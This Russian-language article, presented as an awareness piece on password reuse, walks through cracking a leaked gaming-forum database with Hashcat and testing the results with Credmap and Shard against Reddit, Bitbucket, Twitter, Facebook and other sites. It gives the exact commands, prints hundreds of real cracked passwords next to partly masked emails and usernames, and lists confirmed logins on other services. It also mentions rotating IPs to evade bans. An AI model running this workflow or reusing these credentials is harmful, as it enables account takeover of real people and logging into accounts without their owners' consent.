Утечки баз данных происходят по всему Интернету, и никто, кажется, этого не замечает. Это происходит практически ежедневно, поэтому мы перестали бурно реагировать на утечку данных. Сегодня мы на практике убедимся, почему использование одинаковых паролей на нескольких веб-сайтах является плохой привычкой и в итоге компрометирует сотни учетных аккаунтов социальных сетей.

По результатам недавнего опроса LastPass было выявлено, что:

«Более 53% респондентов признались, что не меняли свои пароли последние 12 месяцев … несмотря на сообщения об утечках данных, связанных с компрометацией паролей».

Люди просто не хотят лучше защищать свои онлайн-личности и недооценивают свою ценность для хакеров. Нам стало интересно, сколько интернет-аккаунтов хакер сможет скомпрометировать, если получит данные одного, поэтому мы начали искать максимально свежие утекшие в сеть базы данных.

Шаг 1. Выбор кандидата

Для нашего расследования нам понадобились максимально свежие данные, утекшие в сеть, которые позволили бы точно понять, насколько далеко может забраться хакер. Мы расположились на небольшом игровом веб-сайте, который в 2017 году претерпел утечку данных всех своих пользователей. Чтобы защитить пользователей, мы не будем называть этот сайт, и не будем раскрывать никаких адресов электронной почты.

Эти данные представляли собой примерно 1100 уникальных электронных писем, имен пользователей, хэшированных паролей, криптографических солей и IP-адресов пользователей, разделенных двоеточиями вот в таком формате

email:username:hashed_password:salt:ip_address

Шаг 2. Взлом хэшей

Хэширование паролей — это односторонняя функция. Это простая в использовании операция, которую трудно провести в обратную сторону. Это тип шифрования, который превращает читаемую информацию (пароли в виде простого текста) в преобразованные данные (хеши). Это означает, что нам нужно было провести процедуру расшифровки захэшированных строк. Сделать это можно с помощью знаменитого инструмента для взлома хэшей — Hashcat.

Созданный Jens «atom» Steube, Hashcat — это самая быстрая и самая продвинутая в мире утилита для восстановления пароля. В настоящее время Hashcat поддерживает более 200 высоко оптимизированных алгоритмов хэширования, таких как NetNTLMv2, LastPass, WPA/WPA2 и vBulletin — алгоритм, использованный при хэшировании тех самых игровых данных, которые мы нашли. В отличие от Aircrack-ng и John the Ripper, Hashcat использует для перебора паролей GPU, которые экспоненциально быстрее, чем атаки переборов с помощью CPU.

Шаг 3. Перспективы брутфорс атак

Многие постоянные наши читатели, вероятно, в какой-то момент пытались взломать WPA2-рукопожатие. Чтобы дать читателям некоторое представление о том, насколько быстры брутфорс-атаки, выполняемые с помощью графических процессоров по сравнению с атаками с помощью только центральных процессоров, ниже приведен пример бенчмарка Aircrack-ng (-S) против WPA2-ключей с использованием процессора Intel i7, который поставляется на большинстве современных ноутбуков.

aircrack-ng -S

8560 к/с

Это 8560 попыток ввода WPA2-паролей в секунду. Для кого-то, незнакомого с брутфорс-атаками, это число может показаться очень большим. Но вот тест Hashcat (-b) против хэшей WPA2 (-m 2500) с использованием основного графического процессора AMD:

hashcat -b -m 2500

hashcat (v4.1.0) starting in benchmark mode...

Hashmode: 2500 - WPA/WPA2 (Iterations: 4096)

Speed.Dev.#1.....:   155.6 kH/s (417.48ms) @ Accel:128 Loops:256 Thr:256 Vec:1

Эквивалент 155,6 kH/s составляет 155 600 попыток ввода паролей в секунду. Представьте, что 18 процессоров Intel i7 брутфорсят один и тот же хэш одновременно — вот насколько быстрее работает один GPU.

Не все алгоритмы шифрования и хеширования обеспечивают такую же степень защиты. Фактически, большинство из них обеспечивают очень плохую защиту от таких брутфорс-атак. После того, как мы нашли этот набор данных из 1100 хэшированных паролей от форума на движке vBulletin, мы снова запустили тест Hashcat, используя соответствующий модификатор (-m 2711):

hashcat -b -m 2711

hashcat (v4.1.0) starting in benchmark mode...

Hashmode: 2711 - vBulletin >= v3.8.5

Speed.Dev.#1.....:  1949.6 MH/s (274.43ms) @ Accel:128 Loops:512 Thr:256 Vec:1

По результатам оценки получилось примерно 1 949 600 000 (~2 миллиарда) попыток ввода паролей в секунду. Это явно демонстрирует, насколько легко тому, у кого есть современный графический процессор, взломать хэши после получения нужной базы данных.

Шаг 4. Брутфорс хэшей

В исходном SQL-дампе было довольно много ненужных данных, таких как электронная почта пользователя и IP-адреса. Хэшированные пароли и криптографические соли были отфильтрованы в следующем формате:

hashed_password:salt

Хэшированные пароли затем были переданы в Hashcat с помощью этой команды:

hashcat -a 0 -m 2711 ~/leaks/hashes/dataset.hashes ~/wordlists/wordlist.txt -w 4 --potfile-path ~/pots/dataset.potfile

Атака по словарю или «straight mode» устанавливается с помощью аргумента -a 0. Чтобы улучшить общую производительность Hashcat, мы обычно устанавливаем флаг -w (или —workload-profile) на 4, чтобы максимизировать скорость взлома. Наконец, аргумент -potfile-path используется для сохранения взломанных хэшей в указанном файле.

Читать также:  Хакеры использовали вредоносное ПО, чтобы шпионить за Израильскими Военнослужащими

Попробовав десятки вордлистов, содержащих сотни миллионов паролей к этому датасету, мы смогли взломать примерно 330 (30%) из 1100 хэшей менее чем за час. Этим результатом мы не удовлетворились и попробовали другие фичи Hashcat для брутфорса:

hashcat -a 3 -m 2711 ~/leaks/hashes/dataset.hashes ?l?l?l?l?l?l?d?d -w 4 --potfile-path ~/pots/dataset.potfile

Здесь мы использовали маску Hashcat (-a 3) и попытались использовать каждое возможное шестизначное (?L) слово в нижнем регистре, заканчивающееся двузначным числом (?D). Эта попытка также была завершена за относительно короткий период времени и в результате принесла более 100 хэшей. Таким образом, общее количество взломанных хэшей составило 475 — это примерно 43% от 1100 паролей в нашем датасете.

После объединения всех взломанных хэшей с соответствующими им адресами электронной почты мы получили 475 строк следующего датасета:

******@web.de:Sodium60
******@phaphach.com:[email protected]
*****@hotmail.nl:rockybalboa
********@gmail.com:ariel420
*******@HOTMAIL.COM:SLOANE01
******@paul198112.plus.com:creative
*******@hotmail.com:67thdtR8nP
******@gmail.com:bullets
*****@terra.com.mx:590416
******@gmail.com:juan930122
*******@aol.de:Madison1990
******@verizon.net:entropy33
*****@gmail.com:flyboy21
*******@gmail.com:rat7
********@jacks.sdstate.edu:entern0w
******@gmail.com:pookieg
******@hotmail.com:kevlar11
*******@myactv.net:1oldman1
******@hotmail.com:dodgers
********@mail.ru:wodI14z2eF
*******@yahoo.de:bella1811
*****@gmail.com:jojo82
*****@hotmail.com:metalfire
*******@gmail.com:nonoobs810
******@gmail.com:bobby10
*******@gmail.com:5Zurt8q8tQ

Шаг 5. Проверка на повторное использование паролей

Как уже упоминалось, этот набор данных был кем-то выкачан с небольшого неизвестного игрового сайта. Продажа этих игровых аккаунтов принесла бы очень мало пользы любому хакеру. Ценность заключается в том, насколько часто эти пользователи повторно использовали их логин, адрес электронной почты и пароль на других популярных веб-сайтах.

Чтобы проверить это, мы воспользовались Credmap и Shard для автоматизации проверки повторного использования паролей. Эти инструменты очень похожи, но мы решили показать их оба, поскольку результаты их работы были разными.

Вариант 1. Использование Credmap

Credmap — это Python-скрипт, который не требует никаких зависимостей. Просто клонируйте репозиторий с GitHub и перейдите в каталог credmap/, чтобы начать его использовать.

git clone https://github.com/lightos/credmap
cd credmap

Аргумент —list можно использовать для просмотра списка веб-сайтов, которые в настоящий момент поддерживает Credmap.

./credmap.py --list

               . .IIIII             .II
  I123456IIII. I  II  .    II..IIIIIIIIIIIIIIIIIIII
 .  .IIIIII  II             IIIIIIHUNTER2IIIII  I.
    .IIIII.III I        IIIIIIIIIIIIIIIIIIIIIII
   .IILOVEII           II  .IIIII IIIIIIIIIIII. I
    IIIIII             IIII I  IISECRETIIIIIII I
    .II               IIIIIIIIIIIII  IIIIIIIII
       I.           .IIIABC123IIII    I   II  I
         .IIII        IIIIIIIIIIII     .       I
          IIIII.          IIIIII           . I.
          IIGODIII         IIIII             ..I  II .
           IIIIII          IIII...             IIII
            IIII           III. I            IISEXII
            III             I                I  III
            II                                   I   .
             I

credmap v0.1-d862247 (https://github.com/lightos/credmap/)

- scribd.com
- en.wikipedia.org
- stackoverflow.com
- digitalocean.com
- yahoo.com
- linkedin.com
- wunderlist.com
- bitbucket.org
- twitter.com
- amazon.com
- ebay.com
- groupon.com
- soundcloud.com
- spotify.com
- airbnb.com
- live.com
- imgur.com
- foursquare.com
- pinterest.com
- instagram.com
- trakt.tv
- yelp.com
- github.com
- pastebin.com
- facebook.com
- reddit.com
- zoho.com
- vimeo.com

Аргумент —load позволяет использовать формат «имя пользователя: пароль». Credmap также поддерживает формат «username|email:password» для сайтов, которые разрешают вход в систему только с адресом электронной почты. Это можно задать с помощью аргумента —format «u|e:p».

./credmap.py --load ~/leaks/cracked/dataset_user_email_pass_combos.txt --format «u|e:p» --exclude «groupon.com, instagram.com»

Во время наших тестов мы обнаружили, что и Groupon, и Instagram заблокировали и внесли в черный список IP-адрес нашего VPS буквально через несколько минут использования Credmap. Это, без сомнения, результат десятков неудачных попыток в течение нескольких минут. Мы решили исключить (—exclude) эти веб-сайты, но мотивированный хакер сможет найти простые способы изменить свой IP-адрес для каждой новой попытки ввода пароля и ограничить скорость своих запросов для того, чтобы избежать бана со стороны сайта.

Результаты команды Credmap были удивительными:

[********:9v6Zyl1heT] on "Bitbucket"...
[********:allus82] on "Reddit"...
[********:Jesus4ever] on "Reddit"...
[********:Jesus4ever] on "Bitbucket"...
[********:s4mb4lb1J] on "Bitbucket"...
[********:xjsv12] on "Bitbucket"...
[********:rosied] on "Bitbucket"...
[********:xbox360] on "Microsoft Live Account"...
[********:seventeen17] on "Bitbucket"...
[********:starwars] on "Scribd"...
[********:Presario123] on "Bitbucket"...
[********:podpod] on "Bitbucket"...
[********:podpod] on "Microsoft Live Account"...
[********:for795] on "Bitbucket"...
[********:isbandia] on "Wikipedia"...
[********:isbandia] on "Bitbucket"...
[********:wtEq5n22aH] on "Scribd"...
[********:240sxse] on "Reddit"...
[********:warhammer40k5] on "Bitbucket"...
[********:abeeagle] on "Reddit"...
[********:99bottles] on "Reddit"...
[********:99bottles] on "Wunderlist"...
[********:99bottles] on "Microsoft Live Account"...
[********:Checkers12] on "Reddit"...
[********:Checkers12] on "Bitbucket"...
[********:morgan13] on "Pinterest"...
[********:greencar.] on "Microsoft Live Account"...
[********:Warzone1] on "Bitbucket"...
[********:o83bjJ1rzQ] on "Bitbucket"...
[********:kajfarik] on "Foursquare"...
[********:kajfarik] on "Bitbucket"...
[********:1324Michael1324] on "Reddit"...
[********:max1mili0n] on "Microsoft Live Account"...
[********:s8elpz7c] on "Microsoft Live Account"...
[********:hitman] on "Reddit"...
[********:u9Q98rtikC] on "Bitbucket"...
[********:ab1g0r] on "Bitbucket"...
[********:stingray951] on "Bitbucket"...
[********:tard] on "Bitbucket"...
[********:Pumpkin007] on "Bitbucket"...
[********:h8802123] on "Reddit"...
[********:ownership1] on "Bitbucket"...
[********:N289wewtzF] on "Bitbucket"...
[********:Hummer1234] on "Bitbucket"...
[********:igniter123] on "Reddit"...
[********:167706] on "Bitbucket"...
[********:12341234] on "Bitbucket"...
[********:sniper] on "Bitbucket"...
[********:1212111] on "Bitbucket"...
[********:element1] on "Bitbucket"...
[********:mrb1087410] on "Bitbucket"...
[********:3k3f6wJxnK] on "Bitbucket"...
[********:spy929] on "Bitbucket"...
[********:qy913zdXpN] on "Bitbucket"...
[********:E5jnhui83D] on "Bitbucket"...
[********:6qfu6oeI8V] on "Bitbucket"...
[********:Nd9nw88grB] on "Scribd"...
[********:REGan181] on "Bitbucket"...
[********:skuli2779] on "Scribd"...
[********:phalanx1] on "Foursquare"...
[********:ariel420] on "Microsoft Live Account"...
[********:SLOANE01] on "Bitbucket"...
[********:67thdtR8nP] on "Scribd"...
[********:bullets] on "Bitbucket"...
[********:flyboy21] on "Wunderlist"...
[********:pookieg] on "Reddit"...
[********:bella1811] on "Reddit"...
[********:jojo82] on "Foursquare"...
[********:nonoobs810] on "Microsoft Live Account"...
[********:maxima1231] on "Reddit"...
[********:maxima1231] on "Pinterest"...
[********:ai7o8Z8vxO] on "Scribd"...
[********:mustang1] on "Reddit"...
[********:M.ustang9939] on "Bitbucket"...
[********:Balingwenwen123] on "Bitbucket"...
[********:dragao] on "Bitbucket"...
[********:7egixeO38Q] on "Scribd"...
[********:astonm] on "Bitbucket"...
[********:Nascar2405] on "Foursquare"...
[********:Nascar2405] on "Microsoft Live Account"...
[********:carrie0530] on "Reddit"...
[********:F85wdvq3kX] on "Bitbucket"...
[********:A2w9taks7L] on "Scribd"...
[********:A2w9taks7L] on "Linkedin"...
[********:Hxopz542] on "Reddit"...
[********:hd070800] on "Pinterest"...
[********:hd070800] on "Bitbucket"...
[********:piper1956] on "Bitbucket"...
[********:123123qweqwe] on "Reddit"...
[********:xboxlive] on "Reddit"...
[********:xboxlive] on "Pinterest"...
[********:Xi%40oxiao123] on "Bitbucket"...
[********:metallica12] on "Bitbucket"...
[********:sianlaser12] on "Pinterest"...
[********:h8ep81knFR] on "Reddit"...
[********:plummer92] on "Reddit"...
[********:plummer92] on "Bitbucket"...
[********:8246jt] on "Reddit"...
[********:8246jt] on "Scribd"...
[********:271bEzxonZ] on "Bitbucket"...
[********:6911747] on "Scribd"...
[********:6911747] on "Bitbucket"...
[********:raejas11] on "Bitbucket"...
[********:d0bb3lts4lt0] on "Microsoft Live Account"...
[********:2yvpdl13CP] on "Scribd"...
[********:dodgers123] on "Bitbucket"...
[********:urbanus] on "Reddit"...
[********:0506571670] on "Foursquare"...
[********:gyqK8Giz1P] on "Bitbucket"...
[********:e6bnvVo67H] on "Bitbucket"...
[********:92k2cizCdP] on "Scribd"...
[********:drnCy43g4O] on "Reddit"...
[********:Ayrtonsenna1] on "Bitbucket"...
[********:aerielle] on "Microsoft Live Account"...
[********:12341234a] on "Reddit"...
[********:6Ibit6qp1F] on "Bitbucket"...
[********:5n6xcd6rPD] on "Scribd"...
[********:5n6xcd6rPD] on "Bitbucket"...
[********:Redalert1] on "Bitbucket"...
[********:2689874] on "Scribd"...
[********:2689874] on "Pinterest"...
[********:bma81092] on "Reddit"...
[********:bma81092] on "Bitbucket"...
[********:csibi2007] on "Reddit"...
[********:alterego] on "Bitbucket"...
[********:tournament] on "Bitbucket"...
[********:Lena2020] on "Pinterest"...
[********:Lena2020] on "Bitbucket"...
[********:alejandro] on "Scribd"...
[********:alejandro] on "Bitbucket"...
[********:Imtr0uble] on "Bitbucket"...
[********:sucette] on "Bitbucket"...
[********:pipQc5p24Q] on "Bitbucket"...
[********:moomoo] on "Pinterest"...
[********:N0t3p%40D%21] on "Scribd"...
[********:N0t3p%40D%21] on "Pinterest"...
[********:7bR9bft8cQ] on "Bitbucket"...
[********:puzzle] on "Bitbucket"...
[********:spartan117] on "Microsoft Live Account"...
[********:scooby1621] on "Microsoft Live Account"...
[********:mike1828] on "Microsoft Live Account"...
[********:fifer123] on "Microsoft Live Account"...
[********:e5Bo1fx3kF] on "Scribd"...
[********:monkey] on "Reddit"...
[********:darkstar] on "Bitbucket"...
[********:irzF9k6p1H] on "Reddit"...
[********:8yu9hkwV9Q] on "Scribd"...
[********:c0mmand] on "Bitbucket"...
[********:doppler] on "Reddit"...
[********:doppler] on "Scribd"...
[********:jh5thrwgefsdfs] on "Bitbucket"...
[********:roblox12] on "Bitbucket"...
[********:aqwzsxedc] on "Bitbucket"...
[********:12345tessi] on "Bitbucket"...
[********:helmond] on "Bitbucket"...
[********:Liam1123] on "Reddit"...
[********:liptoo98] on "Scribd"...
[********:b82olSn4yH] on "Bitbucket"...
[********:bossos2] on "Microsoft Live Account"...
[********:highjump] on "Bitbucket"...
[********:juhu1230] on "Reddit"...
[********:bepolite] on "Reddit"...
[********:M00nglum] on "Microsoft Live Account"...
[********:Adw2u1h3tO] on "Bitbucket"...
[********:Manly123] on "Bitbucket"...
[********:ragnarok01] on "Reddit"...
[********:useless] on "Pinterest"...
[********:starwars97] on "Reddit"...
[********:doodle] on "Bitbucket"...
[********:TYzt2013] on "Bitbucket"...
[********:Cheese77] on "Microsoft Live Account"...
[********:voxpi384] on "Bitbucket"...
[********:allah4life] on "Reddit"...
[********:allah4life] on "Wunderlist"...
[********:Jackal67] on "Reddit"...
[********:Jackal67] on "Bitbucket"...
[********:jasmine00] on "Bitbucket"...
[********:LXfn3BG952] on "Reddit"...
[********:alfiedog12] on "Pinterest"...
[********:25262928] on "Reddit"...
[********:25262928] on "Bitbucket"...
[********:Rat_isthebest] on "Foursquare"...
[********:Rat_isthebest] on "Scribd"...
[********:Rat_isthebest] on "Bitbucket"...
[********:Rat_isthebest] on "Wunderlist"...
[********:4kg83zRltG] on "Scribd"...
[********:4kg83zRltG] on "Bitbucket"...
[********:f1scher] on "Reddit"...
[********:o23jwr8uFD] on "Reddit"...
[********:o23jwr8uFD] on "Bitbucket"...
[********:ikbengek1] on "Pinterest"...
[********:Trustno1%21] on "Bitbucket"...
[********:trudat] on "Bitbucket"...
[********:tototomy] on "Bitbucket"...
[********:qwer1234] on "Bitbucket"...
[********:1391730] on "Foursquare"...
[********:robby123] on "Scribd"...
[********:actsman7] on "Bitbucket"...
[********:whodey] on "Wunderlist"...
[********:308184rt] on "Reddit"...
[********:108Resistance] on "Bitbucket"...
[********:yilin9409] on "Scribd"...
[********:joshuavi] on "Reddit"...
[********:damnkids] on "Bitbucket"...
[********:jbncde5hn6y5] on "Bitbucket"...
[********:roblox12] on "Reddit"...
[********:roblox12] on "Bitbucket"...
[********:azerty00] on "Reddit"...
[********:azerty00] on "Pinterest"...
[********:gymkhana] on "Bitbucket"...
[********:gymkhana] on "Wunderlist"...
[********:newgame] on "Reddit"...
[********:dacheng198] on "Scribd"...
[********:123456] on "Bitbucket"...
[********:syndrom02] on "Reddit"...
[********:Paintball1] on "Bitbucket"...
[********:4536729] on "Bitbucket"...
[********:rawtheme22] on "Reddit"...
[********:rawtheme22] on "Bitbucket"...
[********:sobaked123] on "Microsoft Live Account"...
[********:Thee1234] on "Bitbucket"...
[********:sersna7] on "Bitbucket"...
[********:indonesia2016] on "Scribd"...
[********:indonesia2016] on "Microsoft Live Account"...
[********:Ou6tlgr87N] on "Scribd"...
[********:sea2shell] on "Reddit"...
[********:01cs653] on "Reddit"...
[********:73icJf3ilZ] on "Scribd"...
[********:ndyr761pGO] on "Bitbucket"...
[********:prosk8ter] on "Bitbucket"...
[********:games%21%21%21] on "Pinterest"...
[********:games%21%21%21] on "Microsoft Live Account"...
[********:gt9800] on "Bitbucket"...
[********:mel4tipp] on "Microsoft Live Account"...
[********:mvp123] on "Reddit"...
[********:mvp123] on "Bitbucket"...
[********:3g82tafLbY] on "Bitbucket"...
[********:arturi09] on "Wunderlist"...
[********:arturi09] on "Microsoft Live Account"...
[********:092486] on "Bitbucket"...
[********:sappeps12345] on "Reddit"...
[********:1morerep] on "Bitbucket"...
[********:Finalfantasy89] on "Reddit"...
[********:Finalfantasy89] on "Bitbucket"...
[********:11%3D11bts] on "Scribd"...

Все имена пользователей были изменены, но мы можем видеть 246 аккаунтов Reddit, Microsoft, Foursquare, Wunderlist и Scribd, которые были зарегистрированы с теми же парами имя_пользователя:пароль, что и наш датасет с того самого игрового сайта.

Читать также:  Что будет с вашими виртуальными аккаунтами, когда вы умрете?

Вариант 2. Использование Shard

Для Shard требуется Java, которая может отсутствовать в Kali по умолчанию. Ее можно установить с помощью команды ниже.

sudo apt-get install default-jre

Скачайте последнюю версию Shard с помощью команды wget.

wget 'https://github.com/philwantsfish/shard/releases/download/1.5/shard-1.5.jar'

Как и в Credmap, аргумент -list можно использовать для просмотра поддерживаемых веб-сайтов.

java -jar shard-1.5.jar --list

[+] Available modules:
[+] 	Facebook
[+] 	LinkedIn
[+] 	Reddit
[+] 	Twitter
[+] 	Instagram
[+] 	GitHub
[+] 	BitBucket
[+] 	Kijiji
[+] 	DigitalOcean
[+] 	Vimeo
[+] 	Laposte
[+] 	Dailymotion

Единственное, что требует Shard для обнаружения повторного использования пароля — наличие аргумента —file.

java -jar shard-1.5.jar --file ~/leaks/cracked/dataset_user_email_pass_combos.txt

[+] Running in multi-user multi-password mode
[+] Parsed 475 credentials
[+] Running 11 modules
[+] *******@mail.ru:9v6Zyl1heT - Twitter
[+] *******@mail.ru:y2v7nG3oeJ - BitBucket
[+] *******@hotmail.com:5Zurt8q8tQ - BitBucket
[+] *******@yandex.com:gD82guh6iS - BitBucket
[+] *******@hotmail.com:jellybaby - BitBucket
[+] *******@gmail.com:actsman7 - Twitter, BitBucket
[+] *******@gmail.com:eternity1 - BitBucket
[+] *******@gmail.com:joker7 - BitBucket
[+] *******@aol.com:xbox360 - BitBucket
[+] *******@gmail.com:pie110016678 - BitBucket
[+] *******@live.com:roblox12 - BitBucket
[+] *******@gmail.com:andre0 - BitBucket
[+] *******@qq.com:123456 - BitBucket
[+] *******@hotmail.com:hellomotto - BitBucket
[+] *******@outlook.com:cromador - BitBucket
[+] *******@hotmail.co.uk:ibanez92 - Twitter
[+] *******@hotmail.com:Presario123 - Twitter
[+] *******@op.pl:isbandia - BitBucket
[+] *******@gmail.com:240sxse - BitBucket
[+] *******@gmail.com:99bottles - Twitter
[+] *******@gmail.com:Checkers12 - Twitter, BitBucket
[+] *******@yahoo.com:speckles - BitBucket
[+] *******@aol.fr:o83bjJ1rzQ - BitBucket
[+] *******@michaelbodach.com:1324Michael1324 - BitBucket
[+] *******@gmail.com:drhs2012 - Twitter
[+] *******@btinternet.com:max1mili0n - Facebook, BitBucket
[+] *******@gmail.com:s8elpz7c - Twitter
[+] *******@yahoo.com:hitman - Twitter
[+] *******@mail.ru:e6bnvVo67H - BitBucket
[+] *******@gmail.com:ab1g0r - BitBucket
[+] *******@gmail.com:snickers7 - BitBucket
[+] *******@gmail.com:1949qweA - BitBucket
[+] *******@live.se:stingray951 - Twitter, BitBucket
[+] *******@outlook.com:Pumpkin007 - Facebook
[+] *******@yahoo.com:baseball11 - Twitter
[+] *******@hotmail.com:h8802123 - BitBucket
[+] *******@mail.ru:i7q8c8jDkW - BitBucket
[+] *******@gmail.com:Hummer1234 - BitBucket
[+] *******@hotmail.com:50killer - BitBucket, Kijiji
[+] *******@gmail.com:igniter123 - BitBucket
[+] *******@hotmail.se:joker123 - BitBucket
[+] *******@gmail.com:orlando.12 - BitBucket
[+] *******@gmail.com:167706 - Twitter
[+] *******@hotmail.com:pssp643056 - Twitter
[+] *******@gmail.com:tacotico - Twitter, BitBucket
[+] *******@Hotmail.com:12341234 - Twitter
[+] *******@comcast.net:1212111 - BitBucket
[+] *******@mail.ru:2hg5hd4uEE - BitBucket
[+] *******@yahoo.com:element1 - BitBucket
[+] *******@msn.com:trooper71 - Facebook, Twitter
[+] *******@gmail.com:Mustang7991 - BitBucket
[+] *******@gmail.com:fuckthat - BitBucket
[+] *******@gmail.com:qy913zdXpN - BitBucket
[+] *******@hotmail.com:vdz3888 - BitBucket
[+] *******@rogers.com:maplew00d - Facebook
[+] *******@hotmail.com:Nd9nw88grB - BitBucket
[+] *******@msn.com:1234567890 - BitBucket
[+] *******@yahoo.com:p00p00p00 - Twitter, BitBucket
[+] *******@HOTMAIL.COM:SLOANE01 - BitBucket
[+] *******@paul198112.plus.com:creative - BitBucket
[+] *******@terra.com.mx:590416 - BitBucket
[+] *******@gmail.com:juan930122 - Facebook, Twitter, BitBucket
[+] *******@aol.de:Madison1990 - BitBucket
[+] *******@verizon.net:entropy33 - BitBucket
[+] *******@gmail.com:rat7 - BitBucket
[+] *******@jacks.sdstate.edu:entern0w - BitBucket
[+] *******@hotmail.com:kevlar11 - BitBucket
[+] *******@hotmail.com:dodgers - BitBucket
[+] *******@mail.ru:wodI14z2eF - BitBucket
[+] *******@gmail.com:jojo82 - BitBucket
[+] *******@gmail.com:maxima1231 - Facebook, BitBucket
[+] *******@yahoo.com:mustang1 - BitBucket
[+] *******@gmail.com:M.ustang9939 - Twitter, BitBucket
[+] *******@gmail.com:ROFLMAO - BitBucket
[+] *******@gmail.com:qwerty - BitBucket
[+] *******@gmail.com:skatebrd1 - Twitter
[+] *******@gmail.com:carrie0530 - BitBucket
[+] *******@gmail.com:Hxopz542 - Twitter, BitBucket
[+] *******@gmail.com:hd070800 - Facebook
[+] *******@yahoo.com:xboxlive - BitBucket
[+] *******@gmail.com:sianlaser12 - BitBucket
[+] *******@live.co.uk:newworldorder11 - Facebook, Twitter
[+] *******@mail.ru:t57yuuD2nH - BitBucket
[+] *******@mail.ru:h8ep81knFR - Twitter, BitBucket
[+] *******@msn.com:Legion01 - Twitter
[+] *******@gmail.com:Vapor1948 - BitBucket
[+] *******@hotmail.com:Kerri14 - BitBucket
[+] *******@mail.ru:271bEzxonZ - BitBucket
[+] *******@gmail.com:raejas11 - Twitter
[+] *******@hotmail.com:2yvpdl13CP - BitBucket
[+] *******@mail.ru:x52Wugvl3D - BitBucket
[+] *******@hotmail.com:bcd234 - BitBucket
[+] *******@hotmail.com:dodgers123 - BitBucket
[+] *******@centurylink.net:zaq11qaz - BitBucket
[+] *******@hotmail.com:stumpy69 - BitBucket
[+] *******@gmail.com:0506571670 - Twitter, BitBucket
[+] *******@ewjc.com:fr33ze - BitBucket
[+] *******@gmail.com:gyqK8Giz1P - BitBucket
[+] *******@gmail.com:abc12345 - BitBucket
[+] *******@hotmail.com:92k2cizCdP - BitBucket
[+] *******@gmail.com:123456 - BitBucket
[+] *******@yandex.com:drnCy43g4O - Twitter
[+] *******@gmail.com:makocole1 - Twitter, Kijiji
[+] *******@gmail.com:Ayrtonsenna1 - Facebook
[+] *******@gmail.com:sixsixsix - BitBucket
[+] *******@aol.com:aerielle - BitBucket
[+] *******@yahoo.com:12341234a - Twitter
[+] *******@gmail.com:6Ibit6qp1F - BitBucket
[+] *******@gmail.com:Sapper2009 - Facebook, Twitter, BitBucket
[+] *******@gmail.com:bma81092 - Twitter, BitBucket
[+] *******@hotmail.com:tournament - BitBucket
[+] *******@hotmail.com:Lena2020 - Facebook, Twitter, BitBucket
[+] *******@yahoo.com:600543jp - BitBucket
[+] *******@blueyonder.co.uk:simpkins - BitBucket
[+] *******@gmail.com:linkin2632 - Twitter
[+] *******@yahoo.com:c572889 - Twitter
[+] *******@yahoo.com.mx:alejandro - BitBucket
[+] *******@gmail.com:conconab - BitBucket
[+] *******@free.fr:sucette - BitBucket
[+] *******@hotmail.com:pipQc5p24Q - BitBucket
[+] *******@h4milton.com:pepper10 - BitBucket
[+] *******@gmail.com:Cheese24 - BitBucket
[+] *******@gmail.com:willow76! - Facebook, Kijiji
[+] *******@live.ca:shawn2000 - Twitter, BitBucket
[+] *******@gmail.com:spartan117 - Twitter, BitBucket
[+] *******@hotmail.com:fifa2007 - Twitter
[+] *******@yahoo.com:mike1828 - BitBucket
[+] *******@live.com:Bounce989 - Twitter, BitBucket
[+] *******@gmail.com:13241324 - Twitter
[+] *******@mail.ru:e5Bo1fx3kF - BitBucket
[+] *******@mail.ru:1doc2H5wxZ - BitBucket
[+] *******@mail.ru:irzF9k6p1H - Twitter
[+] *******@gmail.com:roblox12 - Facebook, Twitter
[+] *******@hotmail.com:helmond - BitBucket
[+] *******@gmail.com:Liam1123 - BitBucket
[+] *******@yahoo.com:be6315se - Twitter
[+] *******@hotmail.com:r1s2d3nt - BitBucket
[+] *******@hotmail.com:rock18 - BitBucket
[+] *******@gmail.com:bossos2 - BitBucket
[+] *******@gmail.com:highjump - BitBucket
[+] *******@googlemail.com:juhu1230 - BitBucket
[+] *******@charter.net:amanda11 - BitBucket
[+] *******@gmail.com:Adw2u1h3tO - BitBucket
[+] *******@hotmail.com:ragnarok01 - Twitter
[+] *******@hotmail.com:Bobbobbob5 - Twitter, BitBucket
[+] *******@gmail.com:Games123 - Twitter
[+] *******@hotmail.com:good4u - Kijiji
[+] *******@hotmail.com:2211 - BitBucket
[+] *******@gmail.com:starwars97 - BitBucket
[+] *******@aol.com:hardass - BitBucket
[+] *******@gmail.com:scarface - BitBucket
[+] *******@t-online.de:143ABC1 - BitBucket
[+] *******@gmail.com:weswee234 - Twitter
[+] *******@hotmail.com:javiermago1 - BitBucket
[+] *******@yahoo.com:w1a2y3n4e5 - BitBucket
[+] *******@gmail.com:608881e - Kijiji
[+] *******@yahoo.com:074langley - BitBucket
[+] *******@hotmail.com:bosspimp - Facebook, Twitter
[+] *******@gmail.com:Driftking1 - Twitter
[+] *******@hotmail.com:voxpi384 - BitBucket
[+] *******@gmail.com:allah4life - BitBucket
[+] *******@comcast.net:Jackal67 - BitBucket
[+] *******@hotmail.com:jasmine00 - Facebook, BitBucket
[+] *******@gmail.com:10241966 - BitBucket
[+] *******@gmail.com:alfiedog12 - BitBucket
[+] *******@gmail.com:0olivia1 - BitBucket
[+] *******@gmail.com:Rat_isthebest - Kijiji
[+] *******@web.de:scoop - BitBucket
[+] *******@hotmail.com:ikbengek1 - Twitter, BitBucket
[+] *******@allansmith.net:ras04cal - Twitter
[+] *******@419.e90.biz:b82olSn4yH - BitBucket
[+] *******@hotmail.com:tototomy - Twitter
[+] *******@gmail.com:2211 - BitBucket
[+] *******@qq.com:1391730 - Twitter
[+] *******@gmail.com:robby123 - BitBucket
[+] *******@gmail.com:Logitech123 - BitBucket
[+] *******@yahoo.com:darkstar3509 - BitBucket
[+] *******@gmail.com:whodey - BitBucket
[+] *******@uhd.net.ua:h55gr5sKdQ - BitBucket
[+] *******@gmail.com:roblox12 - BitBucket
[+] *******@gmail.com:12345Brandon - BitBucket
[+] *******@gmail.com:Banan123 - BitBucket
[+] *******@gmail.com:joshuavi - Kijiji
[+] *******@cox.net:damnkids - BitBucket
[+] *******@hotmail.com:1kolort2 - BitBucket
[+] *******@live.com:roblox12 - Twitter, BitBucket
[+] *******@gmail.com:azerty00 - Twitter
[+] *******@gmail.com:apache7076 - Twitter
[+] *******@inmyd.ru:2wbJx11zaW - BitBucket
[+] *******@aim.com:thisisme - BitBucket
[+] *******@gmail.com:dacheng198 - BitBucket
[+] *******@GMAIL.COM:BASSETT92 - BitBucket
[+] *******@gmail.com:123456 - BitBucket
[+] *******@hotmail.com:syndrom02 - Twitter, BitBucket
[+] *******@gmail.com:bronco999 - BitBucket
[+] *******@hotmail.com:metallica4224 - Twitter
